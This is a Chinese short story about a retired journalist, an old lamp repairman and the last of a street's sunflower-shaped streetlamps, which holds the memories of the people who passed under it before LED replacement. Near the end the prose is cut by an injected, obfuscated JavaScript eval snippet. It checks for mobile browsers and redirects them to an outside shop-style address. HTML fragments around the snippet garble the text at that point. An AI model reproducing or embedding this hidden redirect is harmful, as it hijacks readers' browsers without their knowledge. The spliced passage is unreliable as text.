“1979年我来时，这一溜七盏葵花灯才新装两年。”老陈掸了掸烟灰，目光投向渐浓的夜色，“那会儿灯柱刷翠绿漆，葵花瓣是鎏金的，晚上一亮，整条街金灿灿的，洋气得很。” 叶葆启想起什么：“我当年到报社，夜班回家常走这条路。有年冬夜下大雪，就是这第七盏灯下，我碰见个卖烤红薯的老汉，他非塞给我一个红薯，说‘记者同志，你写的那篇菜市场乱收费的报道，替我儿子讨回三百块钱’。” “你说老赵头啊！”老陈眼睛一亮，“他后来不卖红薯了，儿子在南方做生意发了财，接他享福去了。临走前夜，他在这灯柱上系了根红布条——你瞧，还在呢。” 叶葆启俯身细看，灯柱根部真有一缕褪成粉白的布条，几乎与铁锈融为一体。 “这些老灯见的人多了。”老陈踩灭烟头，“我修灯时经常想，要是灯会说话，该讲出多少故事。” 他指着灯头：“最奇的是这第七盏。洪水那夜，整条街断电，就它还亮着——其实我查过，线路早断了。后来有个老婆婆跟我说，那晚她孙子发高烧，医院去不了，她就抱着孩子在灯下坐了一夜。天亮时孩子退了烧，她看见灯罩里有水汽凝成个小人儿形状，像在护着孩子。” 叶葆启心头一动。他想起报社资料室里那些泛黄的群众来信，许多信封地址栏都写着“解放北路葵花灯旁”。那些信件他处理过不少：有投诉路灯太暗的，有感谢深夜亮灯给了安全感的，还有一封1989年的匿名信，说在第七盏灯下捡到钱包归还失主，不求表扬，“只愿灯常亮，好人常行”。 “这些灯……要换了吧？”他问。 “快了。”老陈叹了口气，“下个月就换LED，亮堂，省电。就是……没那味儿了。” 正说着，灯忽然暗了一下，又猛地亮起来，光晕扩大了一圈，把旁边那棵老梧桐的树干也照得清晰。树皮皲裂处，竟隐约显出刻痕——叶葆启凑近看，是两行小字： “1997.3.1阿玲等阿军未至” “2017.3.1阿军终归灯仍在” 字迹一旧一新，相隔整整二十年。 那夜回家后，叶葆启翻箱倒柜找出了一本硬皮笔记本——1992年至1995年他跑城建口时的采访札记。在泛黄的纸页间，他果然找到了关于解放北路葵花灯的记载： “1993年4月15日，访路灯管理所。解放北路七盏葵花灯系1977年安装，由本地老厂‘红星铸造’生产，模具已毁，零件不再有。老师傅言，此灯设计有巧思：灯罩玻璃含特殊矿物质，经年累月吸收日光，夜晚释放时有微弱延续，故断电后仍能亮片刻，百姓谓之‘存光’。” “存光”——这个词让他怔了许久。 接下来一周，叶葆启每天都去第七盏灯下站一会儿。他渐渐发现一些规律：灯在傍晚六点整亮起，光色初时偏白，随着夜深渐转温黄；午夜时分光最柔和，像融化了的琥珀；凌晨四点左右，光会轻微颤动，如同呼吸；清晨六点整熄灭，分秒不差。 更奇的是，不同人在灯下的举止各不相同。 周一晚，他看见个穿校服的中学生蹲在灯柱边哭。孩子肩膀一耸一耸，却不发出声音。哭够了，从书包里掏出试卷，就着灯光改错题。叶葆启想起儿子叶舟高三那年，也曾因为模拟考失利，在某个路灯下蹲到深夜。 周二雨夜，外卖小哥在灯下避雨，手机响了也不接，只盯着屏保照片发呆——是个婴儿的满月照。雨停后，小哥对着灯双手合十拜了拜，才骑上车冲进夜色。 周三凌晨，环卫工大妈扫到灯下时总会歇片刻。她从怀里掏出保温杯，坐在道牙上慢慢喝，仰头看灯的样子，像在看月亮。有次叶葆启听见她喃喃自语：“老伙计，你又陪了我一夜。” 周五晚上最热闹。七八个老人搬着小马扎围坐灯下，拉二胡、唱戏、下棋。其中一个白胡子老头说：“这灯底下冬暖夏凉，邪门得很。”另一个接口：“哪是邪门，是灯记得咱们这些老骨头常来，存着人气儿呢。” 叶葆启用手机录下这些片段。退休后企业请他做文化顾问，他总觉无处着力——那些标语口号式的“企业文化”，远不及这盏老路灯下自然生长的人情世故来得真切。 十月初，工程队的蓝色围挡还是立起来了。告示牌写着：“解放北路照明改造，工期30天。” 老陈那几天脾气特别暴。叶葆启看见他在工地上跟负责人吵：“不能七盏全拆！留一盏，就留第七盏当文物不行吗？” “陈师傅，您这就不讲科学了。”年轻的技术员推推眼镜，“这些老灯耗电量是LED的八倍，光效只有三分之一。再说锈成这样，安全隐患太大了。” “安全安全，你们就知道安全！”老陈脖子都红了，“人心安不安，你们管不管？” 最后妥协方案是：前六盏拆除，第七盏暂时保留，“待专家评估历史价值”。 评估会那天，叶葆启以“老记者、老居民”身份参加了。他带去了那本采访札记，还有这些年拍摄的灯下照片——两百多张，按年份排序： 1988年，灯下摆小人书摊的瘸腿大叔； 1995年，灯柱上贴满寻人启事，有个母亲每天来抚摸照片； 2008年地震后，灯下摆着募捐箱，有个乞丐投进了全部零钱； 2016年冬夜，流浪者在灯下裹着纸板入睡，晨光中环卫工轻轻绕过他…… 会议室里寂静无声。投影仪的光柱中，尘埃飞舞，像极了那夜他在灯下看见的微光字迹。 “这些照片很好。”文物局的老专家扶了扶老花镜，“但文物认定需要实物证据，证明这盏灯有特殊历史价值。光有情感记忆……不够。” 叶葆启忽然站起来：“如果这盏灯本身，就是一部活着的地方志呢？” 他讲起了那个发现——不同人在灯下会看见不同的光，经历不同的人生片段。讲到最后，连他自己都觉得像在说梦话。果然，几个年轻技术员低头憋笑。 散会后，老专家特意慢走几步，等叶葆启跟上来。“叶记者，”他低声说，“我信你的话。1958年，我父亲参与铺设这条路的电缆。他说过一个故事：安装第七盏灯那夜，有个老乞丐在旁看了整晚。第二天工人在灯柱基座里发现个铁盒，盒里有张纸条，写着‘此灯当为夜行人存一寸光，一寸暖’。盒里还有枚民国时期的铜钱，已锈成绿色。” “那铁盒呢？” “当年当作封建迷信处理了。”老专家苦笑，“但我想，有些东西不是迷信——人心需要寄托，城市需要记忆。一盏老灯能成为几代人的共同坐标，这本身就是奇迹。” 工程还是如期推进。前六盏葵花灯被吊车摘下时，发出刺耳的金属呻吟。老陈背对着现场，肩膀在颤抖。 第七盏灯的“缓刑期”只有七天。这七天里，来看灯的人突然多了起来。有人带着相机来拍照，有人只是默默站一会儿，有人抚摸着灯柱上的刻痕流泪。还有个中年妇女牵着盲人母亲来：“妈，这就是我常说的那盏灯。您摸摸，铁是凉的，但灯亮时，这一片地是暖的。” 盲人母亲的手在灯柱上缓缓移动，从基座一直摸到铸铁葵花瓣的纹理。“真好，”她喃喃道，“真好。我眼睛好的时候，最爱看这灯下的影子——长长短短，聚聚散散，像皮影戏。” 叶葆启把这些都记在新买的笔记本上。企业里年轻人看他天天往灯下跑，打趣道：“叶书记，您这是要转行写小说啊？”他认真回答：“我在记录一座城市的良心。” 第六天夜里，下起了秋雨。叶葆启撑伞站在灯下，看着雨丝在光柱中拉出银线。十一点多，一个浑身湿透的年轻人跑来躲雨，靠在灯柱上喘气。 “小伙子，擦擦。”叶葆启递过去纸巾。 年轻人道了谢，忽然说：“大爷，我认识这灯。2008年地震，我家在汶川，被送到内海来安置。那会儿我十岁，天天晚上做噩梦，就跑到这灯下发呆。有天夜里，我看见光里有影子在动，像妈妈在招手……后来我才知道，那是玻璃罩上的雨痕被风吹动。但那以后，我就不怕了。” 他顿了顿：“明天这灯要拆了，我来告个别。” 雨停时已近凌晨。年轻人走后，叶葆启独自站在灯下。雨后的夜空澄澈，星星出来了。路灯的光与星光交融，分不清哪是天上哪是人间。 他忽然想起自己记者生涯中写过最得意的那篇特稿——1994年春节，追踪报道一个寻亲故事。离散四十年的兄妹，最终在第七盏葵花灯下相认，因为妹妹记得“哥哥说好在家门口等，家门口有盏像向日葵的灯”。那篇稿子让他拿了省新闻奖一等奖。 原来这盏灯早就在他的生命里，只是他从未真正看见。 最后一夜，老陈买了两瓶二锅头，拉叶葆启在灯下对饮。 “我修了一辈子灯，修明白一个理儿。”老陈灌了一大口，辣得龇牙咧嘴，“路灯这东西，照的是路，暖的是心。你看着吧，这盏灯就算拆了，它照过的那些路、暖过的那些心，还在。” 夜深时，酒已见底。老陈醉醺醺地指着灯：“老伙计，你再亮亮点儿，让我好好记着。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904201|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灯似乎听懂了。光晕缓缓扩大，亮度却变得柔和，像即将燃尽的炭火，把最后的热都释放出来。光里那些微小的字迹此刻清晰可见——无数的时间、地点、人名、事件，在光柱中缓缓旋转，如同一部无字天书在自动翻页。 叶葆启看见了1977年安装时的画面：工人们喊着号子竖起灯柱，围观的孩子们欢呼；看见1980年冬夜，初恋情侣在灯下呵着白气许愿；看见1997年香港回归夜，整条街的人聚在灯下看电视直播；看见2008年奥运火炬传递经过，火炬光与灯光交相辉映…… 原来一盏灯真的可以存光——存的是时光，是人间的光。 清晨五点五十分，光开始变淡。老陈忽然跳起来，从三轮车里掏出工具包，爬上灯柱。“我得取个东西。”他喊着，用扳手拧开灯头底座的一个小盖。 里面有个暗格。暗格里塞着个油纸包，包得严严实实。 两人就着晨曦打开油纸。里面是一叠字条，大小不一，纸质各异，最早的一张是1979年的烟盒纸，最新的是2022年的便签纸。字条上都是手写字： “1985.6.1妈妈我终于考上大学了小娟” “1997.2.14梅我会爱你一辈子哪怕你已嫁人勇” “2023.9.30爷爷我来找您说的灯了您没骗我它真暖” 最下面是一张泛黄的工作证——1977年红星铸造厂，葵花灯设计组全体合影。背面钢笔字：“愿此灯照夜行人不独行”。 六点整。灯熄了。 但东方天际，晨光正喷薄而出。 新装的LED路灯亮起那天，解放北路一片雪亮。灯光均匀、冷白，把每个角落都照得清晰，连梧桐叶的脉络都分明。 老陈退休了，被儿子接到海南过冬。临行前他来找叶葆启，留下那叠字条的复印件：“您是文化人，这些故事……别让它们没了。” 叶葆启把这些材料整理成册，题为《一盏灯的编年史》。企业里的年轻人看了，提议：“叶书记，咱们在厂区也装几盏有故事的灯吧？不用多亮，但要暖。” 他们真的做了——在厂区小路边，安了三盏仿制的葵花灯，灯柱上留了空白小铁盒，让员工自愿放字条。半年后打开，铁盒里塞得满满当当：有写给父母的感恩，有给孩子的新年愿望，有对产品质量的承诺，还有小情侣的悄悄话。 儿子叶舟所在的办公室，也在值班室窗外挂了盏小葵花灯。叶葆启去看过，灯下总有人坐着——有时是调解纠纷后冷静的当事人，有时是走失等待家属的老人。光是一样的温黄。 冬天第一场雪那天，叶葆启又路过解放北路。第七盏葵花灯的位置，现在是盏崭新的LED灯。他驻足时，一对老夫妻互相搀扶着走过。 “就是这儿。”老太太指着地面，“以前那盏老葵花灯，就在这儿。” 老爷子眯眼看了看：“亮堂多了。” “是亮堂，”老太太轻声说，“就是……太亮堂了。” 雪花飘下来，落在LED灯冷白的光束里，像无数细小的飞蛾。叶葆启忽然看见，新路灯的金属杆上，不知谁贴了张很小的向日葵贴纸——金黄色的，在雪夜中微微反光。 他笑了。 回到家，书房桌上摊着未完的稿子。他坐下，打开台灯——也是葵花造型的，儿子去年送的父亲节礼物。光洒在稿纸上，他提笔续写： “……城市的光永远在变迁。从油灯到电灯，从钨丝到LED，从单一光源到智能照明。我们追逐更亮、更省、更智慧的光，这没有错。但或许我们该问：在照亮道路的同时，我们是否也照亮了人心？在追求效率的同时，我们是否也为记忆留了位置？ “那七盏葵花灯终将成为历史。但灯下发生过的悲欢离合、聚散依依，那些在寒夜中借过一寸暖、在迷茫时借过一缕光的人们——他们本身就是灯，是行走在人间的、不灭的葵花灯。 “因为真正的光从来不在高处。它在夜归人抬头的期盼里，在迷途者瞬间的清醒里，在孤独者感受温暖的刹那，在记忆被忽然点亮的时刻。 “而只要还有人在夜里行走，只要还有心需要照亮，葵花就不会真正凋零。它会以另一种形式开放——在街角，在窗口，在掌心，在眼底。在每一个愿意为他人存一寸光、留一分暖的寻常灵魂里。” 写罢搁笔，夜已深。他走到窗边，望向解放北路的方向。万千灯火流淌成河，分不清哪盏是旧，哪盏是新。 但在他的心里，永远有一盏葵花形状的光，温黄、坚定、存着四十六年的时光与温度，照亮一条看不见的路——那条路从过去伸向未来，路上走着一代又一代夜行人，每个人的影子都被拉得很长，在光中交错、重叠，最终融进更大的光明里。 而这，或许就是一座城市的记忆能够传承的唯一方式：不是固守旧物，而是在新光中认出旧光的魂魄；不是挽留消逝，而是让曾经照亮的继续照亮，以新的名义。 窗外，雪还在下。内海的冬夜安静而深邃。而光——各种形态的光——依然在每一扇未眠的窗前亮着，等待下一个需要它的夜行人。 （全文终）